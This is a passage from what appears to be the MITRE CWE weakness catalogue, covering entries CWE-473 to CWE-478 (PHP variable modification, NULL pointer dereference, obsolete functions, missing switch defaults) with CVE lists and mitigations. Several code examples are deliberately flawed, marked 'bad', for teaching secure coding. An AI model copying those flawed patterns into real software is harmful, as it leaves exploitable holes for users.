CVE-2002-1880	Read messages by modifying message ID parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1880*
CVE-2000-1234	Send email to arbitrary users by modifying email parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-1234*
CVE-2005-1652	Authentication bypass by setting a parameter. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1652*
CVE-2005-1784	Product does not check authorization for configuration change admin script, leading to password theft via modified e-mail address field. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1784*
CVE-2005-2314	Logic error leads to password disclosure. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-2314*
CVE-2005-1682	Modification of message number parameter allows attackers to read other people's messages. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-1682*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	715	OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference	629	1871
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	1874
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Relationship

This is a primary weakness for many other weaknesses and functional consequences, including XSS, SQL injection, path disclosure, and file inclusion.

Theoretical

This is a technology-specific MAID problem.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Web Parameter Tampering
OWASP Top Ten 2007	A4	CWE More Specific	Insecure Direct Object Reference
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
31	Accessing/Intercepting/Modifying HTTP Cookies
39	Manipulating Opaque Client-based Data Tokens
146	XML Schema Poisoning
226	Session Credential Falsification through Manipulation

References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

CWE-473: PHP External Variable Modification

Weakness ID : 473 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

A PHP application does not properly protect against the modification of variables from external sources, such as query parameters or cookies. This can expose the application to numerous weaknesses that would not exist otherwise.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	471	Modification of Assumed-Immutable Data (MAID)	999
PeerOf	V	616	Incomplete Identification of Uploaded File Variables (PHP)	1223
CanPrecede	V	98	Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')	217

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Applicable Platforms

Language : PHP *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Application Data	

Potential Mitigations

Phase: Requirements

Phase: Implementation

Carefully identify which variables can be controlled or influenced by an external user, and consider adopting a naming convention to emphasize when externally modifiable variables are being used. An application should be reluctant to trust variables that have been initialized outside of its trust boundary. Ensure adequate checking is performed when relying on input from outside a trust boundary. Do not allow your application to run with register_globals enabled. If you implement a register_globals emulator, be extremely careful of variable extraction, dynamic evaluation, and similar issues, since weaknesses in your emulation could allow external variable modification to take place even without register_globals.

Observed Examples

Reference	Description
CVE-2000-0860	File upload allows arbitrary file read by setting hidden form variables to match internal variable names. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0860*
CVE-2001-0854	Mistakenly trusts $PHP_SELF variable to determine if include script was called by its parent. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0854*
CVE-2002-0764	PHP remote file inclusion by modified assumed-immutable variable. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0764*
CVE-2001-1025	Modify key variable when calling scripts that don't load a library that initializes it. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1025*
CVE-2003-0754	Authentication bypass by modifying array used for authentication. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-0754*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	991	SFP Secondary Cluster: Tainted Input to Environment	888	1955

Notes

Relationship

This is a language-specific instance of Modification of Assumed-Immutable Data (MAID). This can be resultant from direct request (alternate path) issues. It can be primary to weaknesses such as PHP file inclusion, SQL injection, XSS, authentication bypass, and others.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			PHP External Variable Modification

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
77	Manipulating User-Controlled Variables

CWE-474: Use of Function with Inconsistent Implementations

Weakness ID : 474 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code uses a function that has inconsistent implementations across operating systems and versions.

Extended Description

The use of inconsistent implementations can cause changes in behavior when the code is ported or built under a different environment than the programmer expects, which can lead to security problems in some cases.

The implementation of many functions varies by platform, and at times, even by different versions of the same platform. Implementation differences can include:

- Slight differences in the way parameters are interpreted leading to inconsistent results.
- Some implementations of the function carry significant security risks.
- The function might not be defined on all platforms.
- The function might change which return codes it can provide, or change the meaning of its return codes.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		758	Reliance on Undefined, Unspecified, or Implementation-Defined Behavior	1393
ParentOf		589	Call to Non-ubiquitous API	1178

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Primary :

Indirect :

Applicable Platforms

Language : C *(Prevalence = Often)*

Language : PHP *(Prevalence = Often)*

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

Potential Mitigations

Phase: Architecture and Design

Phase: Requirements

Do not accept inconsistent behavior from the API specifications when the deviant behavior increase the risk level.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Inconsistent Implementations
Software Fault Patterns	SFP3		Use of an improper API

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-475: Undefined Behavior for Input to API

Weakness ID : 475 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The behavior of this function is undefined unless its control parameter is set to a specific value.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	573	Improper Following of Specification by Caller	1153

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation Varies by Context	

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	1958

Notes

Other

The Linux Standard Base Specification 2.0.1 for libc places constraints on the arguments to some internal functions [21]. If the constraints are not met, the behavior of the functions is not defined. It is unusual for this function to be called directly. It is almost always invoked through a macro defined in a system header file, and the macro ensures that the following constraints are met: The value 1 must be passed to the third parameter (the version number) of the following file system function: __xmknod The value 2 must be passed to the third parameter (the group argument) of the following wide character string functions: __wcstod_internal __wcstof_internal __wcstol_internal __wcstold_internal __wcstoul_internal The value 3 must be passed as the first parameter (the version number) of the following file system functions: __xstat __lxstat __fxstat __xstat64 __lxstat64 __fxstat64

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Undefined Behavior
Software Fault Patterns	SFP1		Glitch in computation

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-476: NULL Pointer Dereference

Weakness ID : 476 **Status:** Stable
Structure : Simple
Abstraction : Base

Description

A NULL pointer dereference occurs when the application dereferences a pointer that it expects to be valid, but is NULL, typically causing a crash or exit.

Extended Description

NULL pointer dereference issues can occur through a number of flaws, including race conditions, and simple programming omissions.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	754	Improper Check for Unusual or Exceptional Conditions	1381
ChildOf	P	710	Improper Adherence to Coding Standards	1365
ParentOf		690	Unchecked Return Value to NULL Pointer Dereference	1339
CanFollow	B	252	Unchecked Return Value	553
CanFollow	V	789	Uncontrolled Memory Allocation	1474

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf		754	Improper Check for Unusual or Exceptional Conditions	1381

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	465	Pointer Issues	1868

Weakness Ordinalities

Resultant : NULL pointer dereferences are frequently resultant from rarely encountered error conditions, since these are most likely to escape detection during the testing phases.

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Likelihood Of Exploit

Medium

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart *NULL pointer dereferences usually result in the failure of the process unless exception handling (on some platforms) is available and implemented. Even when exception handling is being used, it can still be very difficult to return the software to a safe state of operation.*	
Integrity Confidentiality Availability	Execute Unauthorized Code or Commands Read Memory Modify Memory *In rare circumstances, when NULL is equivalent to the 0x0 memory address and privileged code can access it, then writing or reading memory is possible, which may lead to code execution.*	

Detection Methods

Automated Dynamic Analysis

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

Effectiveness = Moderate

Manual Dynamic Analysis

Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's

environment, it may still indicate unexpected conditions that were not handled by the application itself.

Potential Mitigations

Phase: Implementation

If all pointers that could have been modified are sanity-checked previous to use, nearly all NULL pointer dereferences can be prevented.

Phase: Requirements

The choice could be made to use a language that is not susceptible to these issues.

Phase: Implementation

Check the results of all functions that return a value and verify that the value is non-null before acting upon it.

Effectiveness = Moderate

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment. This solution does not handle the use of improperly initialized variables (CWE-665).

Phase: Architecture and Design

Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.

Phase: Implementation

Explicitly initialize all your variables and other data stores, either during declaration or just before the first usage.

Phase: Testing

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

Demonstrative Examples

Example 1:

While there are no complete fixes aside from conscientious programming, the following steps will go a long way to ensure that NULL pointer dereferences do not occur.

Example Language: *(good)*

```
if (pointer1 != NULL) {
    /* make use of pointer1 */
    /* ... */
}
```

If you are working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the if statement; and unlock when it has finished.

Example 2:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
```

```
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference would then occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 3:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a NULL pointer exception when it attempts to call the trim() method.

Example Language: Java *(bad)*

```
String cmd = System.getProperty("cmd");
cmd = cmd.trim();
```

Example 4:

This application has registered to handle a URL when sent an intent:

Example Language: Java *(bad)*

```
...
IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
...
public class UrlHandlerReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        if("com.example.URLHandler.openURL".equals(intent.getAction())) {
            String URL = intent.getStringExtra("URLToOpen");
            int length = URL.length();
        ...
        }
    }
}
```

The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.

Observed Examples

Reference	Description
CVE-2005-3274	race condition causes a table to be corrupted if a timer activates while it is being modified, leading to resultant NULL dereference; also involves locking. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3274*
CVE-2002-1912	large number of packets leads to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-1912*
CVE-2005-0772	packet with invalid error status value triggers NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-0772*

Reference	Description
CVE-2009-4895	chain: race condition for an argument value, possibly resulting in NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-4895*
CVE-2009-3547	chain: race condition might allow resource to be released before operating on it, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3547*
CVE-2009-3620	chain: some unprivileged ioctls do not verify that a structure has been initialized before invocation, leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3620*
CVE-2009-2698	chain: IP and UDP layers each track the same value with different mechanisms that can get out of sync, possibly resulting in a NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2698*
CVE-2009-2692	chain: uninitialized function pointers can be dereferenced allowing code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2692*
CVE-2009-0949	chain: improper initialization of memory can lead to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0949*
CVE-2008-3597	chain: game server can access player data structures before initialization has happened leading to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-3597*
CVE-2008-5183	chain: unchecked return value can lead to NULL dereference *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-5183*
CVE-2004-0079	SSL software allows remote attackers to cause a denial of service (crash) via a crafted SSL/TLS handshake that triggers a null dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0079*
CVE-2004-0365	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed RADIUS packet that triggers a null dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0365*
CVE-2003-1013	Network monitor allows remote attackers to cause a denial of service (crash) via a malformed Q.931, which triggers a null dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1013*
CVE-2003-1000	Chat client allows remote attackers to cause a denial of service (crash) via a passive DCC request with an invalid ID number, which causes a null dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1000*
CVE-2004-0389	Server allows remote attackers to cause a denial of service (crash) via malformed requests that trigger a null dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0389*
CVE-2004-0119	OS allows remote attackers to cause a denial of service (crash from null dereference) or execute arbitrary code via a crafted request during authentication protocol selection. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0119*
CVE-2004-0458	Game allows remote attackers to cause a denial of service (server crash) via a missing argument, which triggers a null pointer dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0458*
CVE-2002-0401	Network monitor allows remote attackers to cause a denial of service (crash) or execute arbitrary code via malformed packets that cause a NULL pointer dereference. *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0401*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	1879
MemberOf	C	737	CERT C Secure Coding Standard (2008) Chapter 4 - Expressions (EXP)	734	1882
MemberOf	C	742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	1886
MemberOf	C	808	2010 Top 25 - Weaknesses On the Cusp	800	1896
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	1912
MemberOf	C	871	CERT C++ Secure Coding Section 03 - Expressions (EXP)	868	1914
MemberOf	C	876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	1917
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	971	SFP Secondary Cluster: Faulty Pointer Use	888	1945
MemberOf	C	1136	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP)	1133	1984
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	1995
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2057

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Null Dereference
CLASP			Null-pointer dereference
PLOVER			Null Dereference (Null Pointer Dereference)
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
CERT C Secure Coding	EXP34-C	Exact	Do not dereference null pointers
Software Fault Patterns	SFP7		Faulty Pointer Use

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf >.

[REF-1031]"Null pointer / Null dereferencing". 2019 July 5. Wikipedia. < https://en.wikipedia.org/wiki/Null_pointer#Null_dereferencing >.

[REF-1032]"Null Reference Creation and Null Pointer Dereference". Apple. < https://developer.apple.com/documentation/code_diagnostics/undefined_behavior_sanitizer/null_reference_creation_and_null_pointer_dereference >.

[REF-1033]"NULL Pointer Dereference [CWE-476]". 2012 September 1. ImmuniWeb. < https://www.immuniweb.com/vulnerability/null-pointer-dereference.html >.

CWE-477: Use of Obsolete Function

Weakness ID : 477 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code uses deprecated or obsolete functions, which suggests that the code has not been actively reviewed or maintained.

Extended Description

As programming languages evolve, functions occasionally become obsolete due to:

- Advances in the language
- Improved understanding of how operations should be performed effectively and securely
- Changes in the conventions that govern certain operations

Functions that are removed are usually replaced by newer counterparts that perform the same task in some different and hopefully improved way.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1365

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1228	API / Function Errors	2019

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

Detection Methods

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode Quality Analysis Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Highly cost effective: Debugger

Effectiveness = High

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source Code Quality Analyzer Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Highly cost effective: Origin Analysis

Effectiveness = High

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Effectiveness = High

Potential Mitigations

Phase: Implementation

Refer to the documentation for the obsolete function in order to determine why it is deprecated or obsolete and to learn about alternative ways to achieve the same functionality.

Phase: Requirements

Consider seriously the security implications of using an obsolete function. Consider using alternate functions.

Demonstrative Examples

Example 1:

The following code uses the deprecated function getpw() to verify that a plaintext password matches a user's encrypted password. If the password is valid, the function sets result to 1; otherwise it is set to 0.

Example Language: C *(bad)*

```
...
getpw(uid, pwdline);
for (i=0; i<3; i++){
    cryptpw=strtok(pwdline, ":");
    pwdline=0;
}
result = strcmp(crypt(plainpw,cryptpw), cryptpw) == 0;
...
```

Although the code often behaves correctly, using the getpw() function can be problematic from a security standpoint, because it can overflow the buffer passed to its second parameter. Because of this vulnerability, getpw() has been supplanted by getpwuid(), which performs the same lookup as getpw() but returns a pointer to a statically-allocated structure to mitigate the risk. Not all functions are deprecated or replaced because they pose a security risk. However, the presence of an obsolete function often indicates that the surrounding code has been neglected and may be in a state of disrepair. Software security has not been a priority, or even a consideration, for very long. If the program uses deprecated or obsolete functions, it raises the probability that there are security problems lurking nearby.

Example 2:

In the following code, the programmer assumes that the system always has a property named "cmd" defined. If an attacker can control the program's environment so that "cmd" is not defined, the program throws a null pointer exception when it attempts to call the "Trim()" method.

Example Language: Java *(bad)*

```
String cmd = null;
...
cmd = Environment.GetEnvironmentVariable("cmd");
cmd = cmd.Trim();
```

Example 3:

The following code constructs a string object from an array of bytes and a value that specifies the top 8 bits of each 16-bit Unicode character.

Example Language: Java *(bad)*

```
...
String name = new String(nameBytes, highByte);
...
```

In this example, the constructor may not correctly convert bytes to characters depending upon which charset is used to encode the string represented by nameBytes. Due to the evolution of the charsets used to encode strings, this constructor was deprecated and replaced by a constructor that accepts as one of its parameters the name of the charset used to encode the bytes for conversion.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	398	7PK - Code Quality	700	1863
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	1959

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Obsolete
Software Fault Patterns	SFP3		Use of an improper API
SEI CERT Perl Coding Standard	DCL30-PL	CWE More Specific	Do not import deprecated modules
SEI CERT Perl Coding Standard	EXP30-PL	CWE More Specific	Do not use deprecated or obsolete functions or modules

References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

CWE-478: Missing Default Case in Switch Statement

Weakness ID : 478 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The code does not have a default case in a switch statement, which might lead to complex logical errors and resultant weaknesses.

Extended Description

This flaw represents a common problem in software development, in which not all possible values for a variable are considered or handled by a given process. Because of this, further decisions are made based on poor information, and cascading failure results. This cascading failure may result in any number of security issues, and constitutes a significant failure in the system.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	G	1023	Incomplete Comparison with Missing Factors	1635

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	1006	Bad Coding Practices	1961

Weakness Ordinalities

Primary :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Java *(Prevalence = Undetermined)*

Language : C# *(Prevalence = Undetermined)*

Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context Alter Execution Logic *Depending on the logical circumstances involved, any consequences may result: e.g., issues of confidentiality, authentication, authorization, availability, integrity, accountability, or non-repudiation.*	

Potential Mitigations

Phase: Implementation

Ensure that there are no unaccounted for cases, when adjusting flow or values based on the value of a given variable. In switch statements, this can be accomplished through the use of the default label.

Phase: Implementation

In the case of switch style statements, the very simple act of creating a default case can mitigate this situation, if done correctly. Often however, the default case is used simply to represent an assumed option, as opposed to working as a check for invalid input. This is poor practice and in some cases is as bad as omitting a default case entirely.

Demonstrative Examples

Example 1:

The following does not properly check the return code in the case where the security_check function returns a -1 value when an error occurs. If an attacker can supply data that will invoke an error, the attacker can bypass the security check:

Example Language: C *(bad)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
    case FAILED:
        printf("Security check failed!\n");
        exit(-1);
        //Break never reached because of exit()
        break;
    case PASSED:
        printf("Security check passed.\n");
        break;
}
// program execution continues...
...
```

Instead a default label should be used for unaccounted conditions:

Example Language: C *(good)*

```
#define FAILED 0
#define PASSED 1
int result;
...
result = security_check(data);
switch (result) {
    case FAILED:
        printf("Security check failed!\n");
        exit(-1);
        //Break never reached because of exit()
        break;
    case PASSED:
        printf("Security check passed.\n");
        break;
    default:
        printf("Unknown error (%d), exiting...\n",result);
        exit(-1);
}
```

This label is used because the assumption cannot be made that all possible cases are accounted for. A good practice is to reserve the default case for error handling.

Example 2:

In the following Java example the method getInterestRate retrieves the interest rate for the number of points for a mortgage. The number of points is provided within the input parameter and a switch statement will set the interest rate value to be returned based on the number of points.

Example Language: Java *(bad)*

```
public static final String INTEREST_RATE_AT_ZERO_POINTS = "5.00";
public static final String INTEREST_RATE_AT_ONE_POINTS = "4.75";
public static final String INTEREST_RATE_AT_TWO_POINTS = "4.50";
...
public BigDecimal getInterestRate(int points) {
    BigDecimal result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
    switch (points) {
        case 0:
            result = new BigDecimal(INTEREST_RATE_AT_ZERO_POINTS);
            break;
        case 1:
            result = new BigDecimal(INTEREST_RATE_AT_ONE_POINTS);
            break;
        case 2:
            result = new BigDecimal(INTEREST_RATE_AT_TWO_POINTS);
            break;
    }
    return result;
}
```

